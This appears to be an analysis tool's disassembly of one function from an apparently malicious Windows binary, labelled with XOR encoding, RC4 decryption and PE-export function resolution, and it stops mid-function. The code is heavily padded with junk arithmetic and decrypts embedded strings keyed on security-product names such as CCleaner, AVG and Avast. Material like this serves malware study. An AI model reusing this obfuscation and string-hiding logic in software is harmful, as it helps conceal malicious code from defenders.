Function at 0x1001527d
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x448
xor eax, eax
mov dword [esp + 0xf4], ecx
push esi
push edi
mov ecx, eax
mov dword [esp + 0x28], 0x5c
mov dword [esp + 0x2c], 0x22
mov edx, eax
mov dword [esp + 0x30], 0xffffff82
sub ecx, dword [esp + edx*4 + 0x28]
inc edx
cmp edx, 3
jl 0x100152b0
push 0x58
mov dword [esp + 0x104], ecx
mov ecx, eax
pop edx
mov dword [esp + 0xa0], 0x63
mov dword [esp + 0xa4], 0xffffff45
add edx, dword [esp + ecx*4 + 0xa0]
inc ecx
cmp ecx, 2
jl 0x100152dc
mov dword [esp + 0x114], eax
mov ecx, str.documentVersion
mov dword [esp + 0x140], edx
mov al, 0x64
sub al, 0x30
cmp al, 9
ja 0x10015313
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100152fe
mov esi, dword [0x10027f44]
jmp 0x1001531f
mov esi, dword [0x10027f70]
add esi, 0x563f5bc8
mov edi, dword [0x10028180]
add edi, 0x57f35681
call fcn.10014f2e
push 0x64
mov edx, 0xb1e
mov eax, str.documentVersion
pop ecx
add edx, ecx
inc eax
cmp edx, 0x25c9
ja 0x10015351
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1001533d
jmp 0x1001535d
mov edi, dword [0x10028180]
add edi, 0xd6dae22b
or esi, 0x517c2411
mov dword [esp + 0x18], esi
mov edx, dword [0x1002814c]
add edx, 0x2e9821b2
push ecx
mov ecx, edi
mov dword [esp + 0x18], edx
call fcn.10015208
xor esi, esi
pop ecx
mov eax, esi
inc eax
cmp eax, 0x102f
jl 0x100153ae
cmp byte [eax + str.documentVersion], 0
jne 0x10015384
cmp eax, 0x1eeb
jle 0x100153c6
mov eax, dword [esp + 0x18]
mov ecx, str.avg_antitrack
push eax
call fcn.1001466e
pop ecx
jmp 0x100153c6
mov ecx, str.JournalMode
call fcn.10014d87
mov ecx, dword [esp + 0x18]
add ecx, 0xe931a452
mov dword [esp + 0x14], ecx
and edi, 0x57fc330c
mov dword [esp + 0x1c], edi
mov edx, dword [0x1002814c]
movzx eax, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
add edx, 0x6b3ad0ee
mov dword [esp + 0x50], edx
mov dword [esp + 0x3c], 0x53
mov dword [esp + 0x40], 2
mov dword [esp + 0x44], 0x38
mov dword [esp + 0x48], 0xffffff73
mov dword [esp + 0x4c], esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x144], str.SEC_E_PKINIT_CLIENT_FAILURE
mov ecx, dword [esp + 0x20]
mov eax, edi
xor eax, 0x92b8ba4
mov dword [esp + 0x24], ecx
test ecx, ecx
mov dword [esp + 0x54], eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x18], 0x11dd
mov dword [esp + 0x10], str.SEC_E_PKINIT_CLIENT_FAILURE
je 0x10015478
mov edx, dword [esp + 0x18]
add edx, dword [esp + 0x24]
inc dword [esp + 0x10]
cmp edx, 0x13ea
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x50]
ja 0x10015572
mov edi, dword [esp + 0x10]
movzx edi, byte [edi]
mov dword [esp + 0x24], edi
test edi, edi
mov edi, dword [esp + 0x1c]
jne 0x10015445
add eax, 0x9bf97e1e
mov dword [esp + 0x50], eax
call fcn.10014f2e
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x114]
sub ecx, dword [esp + eax*4 + 0x3c]
inc eax
mov dword [esp + 0x114], ecx
mov dword [esp + 0x4c], eax
cmp eax, 4
jl 0x1001541a
mov dword [esp + 0x3c], 0x22
xorps xmm1, xmm1
mov dword [esp + 0x40], 0x56
xorps xmm2, xmm2
mov dword [esp + 0x44], 3
mov dword [esp + 0x48], 0xffffff92
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x74], 0x16c1b4f2
mov dword [esp + 0x78], 0xb5361952
psubd xmm1, xmm0
mov dword [esp + 0x7c], 0xab95aa2c
movaps xmm0, xmm1
mov dword [esp + 0x80], 0x67198a68
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x84], 0x42c91703
movups xmm0, xmm1
mov dword [esp + 0x88], 0xd87e63c5
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0x8c], 0x5e5d8b0a
movd eax, xmm1
mov dword [esp + 0x90], 0x64b14390
mov byte [esp + 0x94], 0x4a
add eax, 0xe
mov dword [esp + 0x180], eax
inc esi
cmp esi, 0x12e4
jg 0x10015592
cmp byte [esi + str.documentVersion], 0
jne 0x10015556
cmp esi, 0x1243
jle 0x100155a5
jmp 0x100155a0
call fcn.1001505f
lea edi, [edx + 0x16ddb07]
mov dword [esp + 0x1c], edi
imul eax, dword [esp + 0x54], 0x5cc15535
mov dword [esp + 0x14], eax
jmp 0x10015481
mov edx, dword [esp + 0x14]
mov ecx, str.Invalid_MONTHLY_months_selection:
call fcn.10014430
call fcn.10014b4a
imul eax, dword [esp + 0x1c], 0x6f231fe8
lea edi, [esp + 0x374]
push 0xf
pop ecx
mov esi, str.FileKey33_LocalAppData_MicrosoftCLR_v2.0.logRECURSE
rep movsd dword es:[edi], dword [esi]
mov esi, 0x67146b8b
sub esi, eax
xor eax, eax
mov dword [esp + 0x18], eax
mov ecx, eax
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x100155cd
mov edi, eax
mov dword [esp + 0x4c], 0x3b
xor edx, edx
mov cl, byte [esp + edi + 0x200]
mov eax, edi
mov byte [esp + 0xf], cl
div dword [esp + 0x4c]
movzx ecx, cl
or esi, 0x97a47b52
mov dword [0x1002814c], esi
movzx eax, byte [esp + edx + 0x374]
add eax, dword [esp + 0x18]
add ecx, eax
movzx ecx, cl
mov dword [esp + 0x18], ecx
mov al, byte [esp + ecx + 0x200]
mov byte [esp + edi + 0x200], al
inc edi
mov al, byte [esp + 0xf]
mov byte [esp + ecx + 0x200], al
cmp edi, 0x100
jb 0x100155e7
xor eax, eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x10], eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + esi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + esi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + esi + 0x200]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + edi + 0x74]
mov byte [esp + edi + 0x3b0], al
inc edi
cmp edi, 0x21
jb 0x1001564e
mov esi, dword [esp + 0x1c]
xor eax, eax
push 0x53
mov byte [esp + 0x3d5], al
mov ecx, eax
pop edx
mov dword [esp + 0x28], 0x5d
mov dword [esp + 0x2c], 0x3e
mov dword [esp + 0x30], 0xffffff12
add edx, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x100156d3
mov dword [esp + 0x17c], edx
mov dword [esp + 0x3c], 0x52
mov edi, eax
mov dword [esp + 0x40], 0x14
mov dword [esp + 0x44], 0x26
mov dword [esp + 0x48], 0xffffff15
movups xmm1, xmmword [esp + 0x3c]
mov dword [esp + 0xd8], eax
mov dword [esp + 0x1d4], 0x57
paddd xmm1, xmm2
mov dword [esp + 0x1d8], 0x12
movaps xmm0, xmm1
mov dword [esp + 0x1dc], 0x21
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x1e0], 0x29
movups xmm0, xmm1
mov dword [esp + 0x1e4], 0xffffff4d
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0x61
mov dword [esp + 0x174], ecx
lea ecx, [esi + 0x68d862e8]
mov dword [esp + 0x10], 0xb60
push 9
mov dword [esp + 0x18], ecx
mov eax, str._t_tloadContent_ContentType.CleaningResults__
pop edx
add dword [esp + 0x10], edx
inc eax
cmp dword [esp + 0x10], 0x10e1
ja 0x100157a5
movsx edx, byte [eax]
test edx, edx
jne 0x1001578d
jmp 0x100157b0
call fcn.100146c9
imul esi, ecx, 0xa5c91926
sub esi, 0x1549a4ae
mov dword [0x1002814c], esi
call fcn.100150cc
mov eax, dword [esp + 0xd8]
sub eax, dword [esp + edi*4 + 0x1d4]
inc edi
mov dword [esp + 0xd8], eax
cmp edi, 5
jl 0x10015773
push 0x29
pop eax
mov dword [esp + 0xec], eax
lea edi, [esp + 0xdc]
mov dword [esp + 0xf0], 0x50
mov dword [esp + 0xf4], 0xb
mov dword [esp + 0xf8], 0xffffff60
movups xmm1, xmmword [esp + 0xec]
mov dword [esp + 0x1c], esi
mov esi, str.STATE_POPUP
mov dword [esp + 0x74], 0x4ab67985
paddd xmm1, xmm2
mov dword [esp + 0x78], 0x5d02e527
movaps xmm0, xmm1
mov dword [esp + 0x7c], 0xe20fea7c
psrldq xmm0, 8
paddd xmm1, xmm0
movsd dword es:[edi], dword [esi]
movups xmm0, xmm1
mov dword [esp + 0x80], 0x94c6433d
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0x84], 0xeb5734e
movd eax, xmm1
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x88], 0xd941351e
add eax, 0x1d
mov dword [esp + 0x8c], 0xec278746
mov dword [esp + 0x18c], eax
xor eax, eax
movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x90], 0xbcc8bed2
mov edi, eax
mov byte [esp + 0x94], 0x6c
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x100158a9
mov esi, eax
xor edx, edx
mov cl, byte [esp + esi + 0x200]
mov eax, esi
mov byte [esp + 0xf], cl
div dword [esp + 0xf4]
movzx ecx, cl
movzx eax, byte [esp + edx + 0xdc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov al, byte [esp + 0xf]
mov byte [esp + edi + 0x200], al
cmp esi, 0x100
jb 0x100158bb
xor ecx, ecx
mov eax, ecx
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], al
je 0x10015921
inc eax
cmp eax, 0x9f7
jg 0x10015995
cmp byte [eax + str.SEC_E_PKINIT_CLIENT_FAILURE], cl
jne 0x10015911
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x1c]
xor edx, 0x3d2b42aa
or esi, 0xa2254744
mov dword [esp + 0x1c], ecx
mov eax, ecx
mov dword [esp + 0x24], ecx
inc eax
mov edi, dword [esp + 0x24]
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + 0xf], al
movzx eax, al
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1c]
add eax, dword [esp + 0x18]
movzx eax, al
mov dword [esp + 0x1c], eax
mov eax, esi
xor eax, 0x7cdace59
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], 0
mov dword [esp + 0x50], eax
mov eax, ecx
je 0x100159bd
inc eax
cmp eax, 0x1c09
je 0x100159b5
cmp byte [eax + str.SEC_E_PKINIT_CLIENT_FAILURE], 0
jne 0x10015982
jmp 0x100159bd
push ecx
push ecx
mov ecx, dword [esp + 0x24]
call fcn.100146ee
mov edx, dword [esp + 0x1c]
mov esi, edx
pop ecx
pop ecx
and esi, 0xa8f111e3
xor ecx, ecx
jmp 0x10015929
mov esi, edx
or esi, 0x6c289ee8
mov eax, dword [esp + 0x1c]
add edx, 0xfa50f78a
and edx, 0x1604b9c6
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x10]
mov al, byte [esp + eax + 0x200]
mov byte [esp + edx + 0x200], al
mov eax, dword [esp + 0x1c]
mov dl, byte [esp + 0xf]
mov byte [esp + eax + 0x200], dl
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
movzx eax, byte [esp + eax + 0x200]
add eax, dword [esp + 0x18]
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + edi + 0x74]
mov byte [esp + edi + 0x3d4], al
inc edi
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], edi
cmp edi, 0x21
jb 0x1001593f
mov dword [esp + 0x3c], 0x1b
lea edx, [esi - 0x742bf64f]
mov dword [esp + 0x40], 4
movaps xmm1, xmm2
mov dword [esp + 0x44], 0x34
xor esi, 0x8888004
mov dword [esp + 0x48], 0xffffffbb
mov edi, 0x268
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x3c], 0x3d
mov dword [esp + 0x40], 0x41
psubd xmm1, xmm0
mov dword [esp + 0x44], 0x33
movaps xmm0, xmm1
mov dword [esp + 0x48], 0xfffffeec
psrldq xmm0, 8
paddd xmm1, xmm0
mov byte [esp + 0x3f5], cl
movups xmm0, xmm1
mov dword [esp + 0x10], edx
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0x28], 9
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x2c], 0x51
movd eax, xmm1
movaps xmm1, xmm2
paddd xmm1, xmm0
mov dword [esp + 0x30], 0x1e2
movaps xmm0, xmm1
psrldq xmm0, 8
add eax, 0x10
paddd xmm1, xmm0
mov dword [esp + 0x188], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x63
or esi, 0x61727ec9
mov dword [esp + 0x184], eax
mov eax, ecx
sub edi, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10015b0d
cmp byte [str.avg_antitrack], 0
mov eax, ecx
mov dword [esp + 0x190], edi
je 0x10015b4d
inc eax
cmp eax, 0x2270
jg 0x10015b3c
cmp byte [eax + str.avg_antitrack], 0
jne 0x10015b29
jmp 0x10015b4d
call fcn.10014e32
mov edx, dword [esp + 0x10]
sub esi, 0xede0203
xor ecx, ecx
imul eax, esi, 0xa66f00f3
push 0x2a
pop esi
mov dword [esp + 0xa0], 0x25
mov dword [esp + 0xa4], 0xffffffb2
mov dword [esp + 0x1c], eax
mov eax, ecx
add esi, dword [esp + eax*4 + 0xa0]
inc eax
cmp eax, 2
jl 0x10015b72
mov dword [esp + 0x1c0], esi
lea edi, [esp + 0xdc]
mov esi, str.Run_CCleaner
mov dword [esp + 0xb8], 0x3cd58165
push 0x29
pop eax
mov byte [esp + 0xc0], al
mov eax, ecx
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xbc], 0x618a3d2a
mov dword [esp + 0xc1], 0xb58c2185
mov dword [esp + 0xc5], 0xfcd0aeba
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc9], 0x89ed288e
mov dword [esp + 0xcd], 0xa81a641f
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ecx
lea esi, [edx - 0x7f5996a7]
mov dword [esp + 0x54], edi
mov byte [esp + eax + 0x200], al
inc eax
cmp eax, 0x100
jb 0x10015bf0
cmp byte [str.avg_antitrack], 0
je 0x10015c2c
inc ecx
cmp ecx, 0xe4b
jl 0x10015c1c
cmp byte [ecx + str.avg_antitrack], 0
jne 0x10015c08
jmp 0x10015c2c
imul edi, dword [esp + 0x50], 0x6ead0c1c
mov dword [esp + 0x50], edi
mov edi, dword [esp + 0x54]
and edx, 0xc01de2fd
mov eax, str._t_tloadContent_ContentType.CleaningResults__
sub edx, 0x342e57bf
push 9
mov dword [esp + 0x14], edx
mov edx, 0x53f
pop ecx
add edx, ecx
inc eax
cmp edx, 0x200b
ja 0x10015c65
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10015c49
imul esi, dword [esp + 0x1c], 0x78498950
jmp 0x10015c81
mov eax, dword [esp + 0x10]
add eax, 0x5358feb8
push str.avg_antitrack
push ecx
mov ecx, eax
mov dword [esp + 0x58], eax
call fcn.10014cd1
pop ecx
pop ecx
mov eax, esi
mov edx, esi
xor eax, 0xfa44302f
mov ecx, str.ENHANCE_YOUR_CALM
mov dword [esp + 0x14], eax
call fcn.10014430
xor esi, esi
xor edx, edx
mov dword [esp + 0x54], 0xc
mov eax, esi
mov cl, byte [esp + esi + 0x200]
div dword [esp + 0x54]
mov byte [esp + 0xf], cl
movzx ecx, cl
movzx eax, byte [esp + edx + 0xdc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov al, byte [esp + 0xf]
mov byte [esp + edi + 0x200], al
cmp esi, 0x100
jb 0x10015c9a
xor eax, eax
mov dword [esp + 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + edi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + edi + 0x200]
mov ecx, dword [esp + 0x20]
add eax, edx
movzx eax, al
mov edx, 0x24ad
mov al, byte [esp + eax + 0x200]
mov byte [esp + 0xf], al
mov eax, str.SEC_E_PKINIT_CLIENT_FAILURE
jmp 0x10015d5f
add edx, ecx
inc eax
cmp edx, 0x23bd
ja 0x10015d65
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10015d51
jmp 0x10015d72
mov eax, dword [esp + 0x50]
add eax, 0x52a35c00
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1c]
add eax, 0x9be03549
mov dword [esp + 0x50], eax
push eax
mov ecx, str.documentVersion
call fcn.1001466e
mov al, byte [esp + esi + 0xbc]
xor al, byte [esp + 0x13]
mov byte [esp + esi + 0x35c], al
inc esi
pop ecx
cmp esi, 0x19
jb 0x10015cf3
mov edi, dword [esp + 0x20]
xor eax, eax
mov byte [esp + 0x371], al
mov esi, 0x1abc
mov dword [esp + 0x60], 0x4f
mov edx, edi
mov dword [esp + 0x64], 0x50
mov dword [esp + 0x68], 8
mov dword [esp + 0x6c], 0xffffff4e
push 0xb
pop ecx
mov dword [esp + 0x5c], ecx
mov ecx, str.SEC_E_PKINIT_CLIENT_FAILURE
test edi, edi
je 0x10015e01
add esi, edx
inc ecx
cmp esi, 0x190c
ja 0x10015e91
movzx edx, byte [ecx]
test edx, edx
jne 0x10015deb
mov edx, dword [esp + 0x14]
movzx ecx, byte [str.avg_antitrack]
mov dword [esp + 0x50], ecx
mov esi, edx
mov ecx, eax
and esi, 0xe9392d5f
mov edi, eax
sub edi, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10015e1c
push 0x4f
mov dword [esp + 0x1c0], edi
mov ecx, eax
pop edi
mov dword [esp + 0xa0], 9
mov dword [esp + 0xa4], 0xffa7
add edi, dword [esp + ecx*4 + 0xa0]
inc ecx
cmp ecx, 2
jl 0x10015e48
mov dword [esp + 0x1b8], edi
or edx, 0xace76bd2
mov dword [esp + 0x14], edx
add esi, 0x353ac9a3
mov ecx, eax
cmp byte [str.avg_antitrack], al
je 0x10015eaf
inc ecx
cmp ecx, 0x13e2
jg 0x10015e9e
cmp byte [ecx + str.avg_antitrack], al
jne 0x10015e76
cmp ecx, 0x11fd
jle 0x10015eaf
jmp 0x10015ea8
imul edx, dword [esp + 0x1c], 0x2cdbe78
jmp 0x10015e05
imul edx, edx, 0x22f8233a
mov dword [esp + 0x14], edx
call fcn.1001436d
xor eax, eax
mov dword [esp + 0x3c], 0xa
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x4e
or esi, 0x38a16c14
mov dword [esp + 0x44], 0x56
mov edi, esi
mov dword [esp + 0x48], 0xffffff4b
or edi, 0xca2599a9
movups xmm0, xmmword [esp + 0x3c]
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 7
mov dword [esp + 0x1a8], ecx
push ecx
imul ecx, esi, 0xece509ed
call fcn.10015208
pop ecx
push 0x29
pop eax
mov dword [esp + 0x60], eax
mov ecx, str.SEC_E_PKINIT_CLIENT_FAILURE
mov al, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
mov dword [esp + 0x5c], 0x43
mov dword [esp + 0x64], 6
mov dword [esp + 0x68], 0x53
mov dword [esp + 0x6c], 0xffffff3b
jmp 0x10015f58
sub al, 0x30
cmp al, 9
ja 0x10015fa5
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10015f4f
mov edi, dword [esp + 0x14]
call fcn.10014b4a
xor eax, eax
mov ecx, eax
mov edx, eax
sub edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10015f6b
push 0x64
mov dword [esp + 0x1b0], edx
mov esi, 0x16c1
mov dword [esp + 0x5c], 7
mov ecx, str.documentVersion
pop edx
add esi, edx
inc ecx
cmp esi, 0x200b
ja 0x10015fad
movsx edx, byte [ecx]
test edx, edx
jne 0x10015f91
jmp 0x10015fb4
and edi, 0xebc8e380
jmp 0x10015f60
call fcn.10014936
xor eax, eax
mov edx, dword [esp + 0x58]
xor edi, 0xfdf59edf
push 3
pop esi
or edi, 0x8df50614
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x34
mov ecx, eax
mov dword [esp + 0x30], 0xffc2
add edx, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, esi
jl 0x10015fdd
push 0xa
mov dword [esp + 0x5c], edx
mov ecx, eax
mov edx, eax
mov dword [esp + 0x64], 0x11
pop esi
mov dword [esp + 0xb4], edx
mov dword [esp + 0x5c], esi
mov dword [esp + 0x64], 0x45
mov dword [esp + 0x68], 0x52
mov dword [esp + 0x6c], 0xffffff4e
inc ecx
cmp ecx, 0x1126
jg 0x10016030
cmp byte [ecx + str._t_tloadContent_ContentType.CleaningResults__], 0
jne 0x1001601c
jmp 0x10016047
push ecx
push ecx
mov edx, str.database_is_already_attached
call fcn.10014478
mov edx, dword [esp + 0xbc]
xor eax, eax
pop ecx
pop ecx
xor edi, 0x818a300c
mov ecx, eax
sub edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x1001604f
mov dword [esp + 0xb4], edx
mov ecx, eax
mov edx, esi
mov dword [esp + 0xa0], 0x13
mov dword [esp + 0xa4], 0xffffffe4
add edx, dword [esp + ecx*4 + 0xa0]
inc ecx
cmp ecx, 2
jl 0x1001607a
push 0x3a
mov dword [esp + 0x1a0], edx
mov ecx, eax
pop edx
mov dword [esp + 0x130], 0x35
mov dword [esp + 0x134], 0xffffff91
add edx, dword [esp + ecx*4 + 0x130]
inc ecx
cmp ecx, 2
jl 0x100160a9
mov dword [esp + 0x3c], 0x40
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x64
xor edi, 0x4dc384c4
mov dword [esp + 0x44], 0x28
mov dword [esp + 0x48], 0x1ff22
movups xmm0, xmmword [esp + 0x3c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x3c], 0x4f
paddd xmm1, xmm0
mov dword [esp + 0x40], 0x62
movaps xmm0, xmm1
mov dword [esp + 0x44], 0x1f
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x48], 0xffffff30
movups xmm0, xmm1
mov dword [esp + 0x1a0], edx
psrldq xmm0, 4
mov edx, 0x1e18
paddd xmm1, xmm0
movups xmm0, xmmword [esp + 0x3c]
movd ecx, xmm1
movaps xmm1, xmm2
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
add ecx, 0x12
paddd xmm1, xmm0
mov dword [esp + 0x154], ecx
movups xmm0, xmm1
mov ecx, str.SEC_E_PKINIT_CLIENT_FAILURE
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [esp + 0x1a4], xmm1
jmp 0x10016180
add edx, esi
inc ecx
cmp edx, 0x1cfb
ja 0x10016186
movzx esi, byte [ecx]
test esi, esi
jne 0x10016172
jmp 0x1001618d
call fcn.10014f2e
xor eax, eax
mov edx, edi
mov dword [esp + 0x130], 0x1b
xor edx, 0xcb6925e1
mov dword [esp + 0x134], 0xffffffaa
add edx, 0x5e84c4d5
xor edx, 0x26e00571
mov dword [esp + 0x14], edx
push 0x3b
mov ecx, eax
pop esi
add esi, dword [esp + ecx*4 + 0x130]
inc ecx
cmp ecx, 2
jl 0x100161c0
mov dword [esp + 0x4c], esi
mov ecx, eax
mov esi, eax
mov dword [esp + 0x28], 0x2e
mov dword [esp + 0x2c], 0x25
mov dword [esp + 0x30], 0xffffffad
sub esi, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x100161ed
push 0x13
pop ecx
mov dword [esp + 0x1b0], esi
mov esi, 0x380000
mov dword [esp + 0x60], ecx
mov ecx, eax
mov dword [esp + 0x5c], 0x62
mov dword [esp + 0x64], 0x51
mov dword [esp + 0x68], 1
mov dword [esp + 0x6c], 0x33ff39
sub esi, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x1001622c
mov ecx, edx
mov dword [esp + 0x1b4], esi
or ecx, 0x4abf3f22
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], 0x40
mov esi, eax
mov dword [esp + 0x2c], 0x2f
mov dword [esp + 0x30], 0xffffff91
mov dword [esp + 0x18], ecx
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], 0
je 0x10016289
inc eax
cmp eax, 0xf7d
jl 0x10016283
cmp byte [eax + str.SEC_E_PKINIT_CLIENT_FAILURE], 0
jne 0x10016270
jmp 0x10016289
sub edi, 0x412bc686
call fcn.10014a44
mov eax, dword [esp + 0x24]
sub eax, dword [esp + esi*4 + 0x28]
inc esi
push 3
pop edx
mov dword [esp + 0x24], eax
push 0
pop eax
cmp esi, edx
jl 0x10016267
mov ecx, eax
mov dword [esp + 0x28], 0x1d
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], 0xffffffe0
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, edx
jl 0x100162bb
mov dword [esp + 0x198], ecx
mov al, 0x64
mov ecx, str.documentVersion
sub al, 0x30
cmp al, 9
ja 0x100162e5
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100162d2
mov esi, dword [esp + 0x18]
jmp 0x100162ef
mov esi, dword [esp + 0x18]
or esi, 0x18112ef9
and dword [esp + 0x14], 0xfeb2e60f
call fcn.1001436d
push 0xa
pop ecx
mov dword [esp + 0x3c], ecx
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x5a
mov edx, ecx
mov dword [esp + 0x44], 0x3e
mov dword [esp + 0x48], 0xffffff56
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x28], 0x2b
mov dword [esp + 0x2c], 0x47
paddd xmm1, xmm0
mov dword [esp + 0x30], 0xffffff97
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 8
mov dword [esp + 0x194], eax
xor eax, eax
mov ecx, eax
sub edx, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x1001636b
mov dword [esp + 0x150], edx
mov ecx, eax
mov edx, eax
mov dword [esp + 0x28], 0x33
mov dword [esp + 0x2c], 0x16
mov dword [esp + 0x30], 0xffffffb7
sub edx, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x10016398
push 0x5b
mov dword [esp + 0x17c], edx
mov ecx, eax
pop edx
mov dword [esp + 0xec], 0x1a
mov dword [esp + 0xf0], 0x4e
mov dword [esp + 0xf4], 0x37
mov dword [esp + 0xf8], 0xffffff07
add edx, dword [esp + ecx*4 + 0xec]
or esi, 0x32bff4c7
inc ecx
cmp ecx, 4
jl 0x100163da
or dword [esp + 0x14], 0x5bcb3c2a
lea edi, [esp + 0x374]
push 0xe
pop ecx
mov esi, str.24.com.avast.alpha.crap.api.v2.ActivationRequest.Brand:
mov dword [esp + 0x138], edx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xdc], 0x197e90c0
mov edi, eax
mov dword [esp + 0xe0], 0xc6685774
mov ecx, eax
mov dword [esp + 0xe4], 0x70cd6995
mov word [esp + 0xe8], 0xfa43
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x1001643c
mov esi, eax
xor edx, edx
mov cl, byte [esp + esi + 0x200]
mov eax, esi
mov byte [esp + 0xf], cl
div dword [esp + 0xf4]
movzx ecx, cl
movzx eax, byte [esp + edx + 0x374]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov al, byte [esp + 0xf]
mov byte [esp + edi + 0x200], al
cmp esi, 0x100
jb 0x1001644e
xor eax, eax
mov dword [esp + 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + edi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + edi + 0x200]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + esi + 0xdc]
mov byte [esp + esi + 0x300], al
inc esi
cmp esi, 0xe
jb 0x100164a2
xor eax, eax
mov byte [esp + 0x30e], al
push 0x37
pop ecx
xor dword [esp + 0x14], 0xe2bd9d16
lea edi, [esp + 0x5c]
mov esi, str.connected_DOM_element
